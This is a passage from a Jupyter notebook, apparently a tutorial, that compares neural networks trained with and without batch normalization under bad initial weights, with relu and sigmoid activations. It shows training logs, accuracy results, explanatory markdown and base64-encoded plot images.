SJPbsObzL66233sp1113Hd999\n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\nB8JCjwAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7c2fd160>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 0.01, tf.nn.relu)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "As the plot shows, without batch normalization the network never learns anything at all. But with batch normalization, it actually learns pretty well and gets to almost 80% accuracy. The starting weights obviously hurt the network, but you can see how well batch normalization does in overcoming them. " ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "**The following creates two networks using a sigmoid activation function, a learning rate of 0.01, and bad starting weights.**" ] }, { "cell_type": "code", "execution_count": 15, "metadata": {}, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [00:45<00:00, 1108.50it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Without Batch Norm: After training, final accuracy on validation set = 0.22019998729228973\n" ] }, { "name": "stderr", "output_type": "stream", "text": [ "100%|██████████| 50000/50000 [01:34<00:00, 531.21it/s]\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "With Batch Norm: After training, final accuracy on validation set = 0.8591998219490051\n", "---------------------------------------------------------------------------\n", "Without Batch Norm: Accuracy on full test set = 0.22699999809265137\n", "---------------------------------------------------------------------------\n", "With Batch Norm: Accuracy on full test set = 0.8527000546455383\n" ] }, { "data": { "image/png": "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\n